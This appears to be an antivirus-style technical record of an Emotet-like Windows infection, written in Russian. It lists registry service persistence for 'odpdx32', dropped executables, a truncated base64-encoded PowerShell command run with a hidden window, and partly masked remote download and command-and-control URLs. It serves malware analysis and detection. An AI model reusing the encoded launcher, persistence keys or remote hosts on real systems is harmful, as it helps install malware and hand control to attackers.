Техническая информация
- [<HKLM>\System\CurrentControlSet\Services\odpdx32] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\odpdx32] 'ImagePath' = '"%WINDIR%\SysWOW64\d3dxof\odpdx32.exe"'
- 'odpdx32' "%WINDIR%\SysWOW64\d3dxof\odpdx32.exe"
- 'odpdx32' %WINDIR%\SysWOW64\d3dxof\odpdx32.exe
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e JABRADQAdQBoAGYANABxAD0AKAAnAFIAMwAnACsAJwB1AHAAJwArACgAJwBiAHUAJwArACcAYwAnACkAKQA7ACYAKAAnAG4AZQB3AC0AaQAnACsAJwB0AGUAJwArACcAbQAnACkAIAAkAGUAbgB2ADoAdABlAG0AUABcAFcAbwBSAGQAXAAyADAAMQA5AF...
- %TEMP%\word\2019\d3v93m.exe
- %WINDIR%\syswow64\d3dxof\odpdx32.exe
- %TEMP%\word\2019\d3v93m.exe в %WINDIR%\syswow64\d3dxof\odpdx32.exe
- '45.##.219.163':443
- http://th#####tumsphere.com/wp-admin/wODL/
- http://10#.#.122.110/72HUYsK/Bhqk/
- http://19#.##1.86.6:443/zGcgGrkhm3ni/
- http://45.##.219.163:443/gBFQj6eKdKxw0DtjG8/KkgjSMn4RVjwzzIf/qBCyT/ via 45.##.219.163
- DNS ASK th#####tumsphere.com
- DNS ASK ns#.#60wisp.net
- '%TEMP%\word\2019\d3v93m.exe'
- '%WINDIR%\syswow64\d3dxof\odpdx32.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e JABRADQAdQBoAGYANABxAD0AKAAnAFIAMwAnACsAJwB1AHAAJwArACgAJwBiAHUAJwArACcAYwAnACkAKQA7ACYAKAAnAG4AZQB3AC0AaQAnACsAJwB0AGUAJwArACcAbQAnACkAIAAkAGUAbgB2ADoAdABlAG0AUABcAFcAbwBSAGQAXAAyADAAMQA5AF...' (со скрытым окном)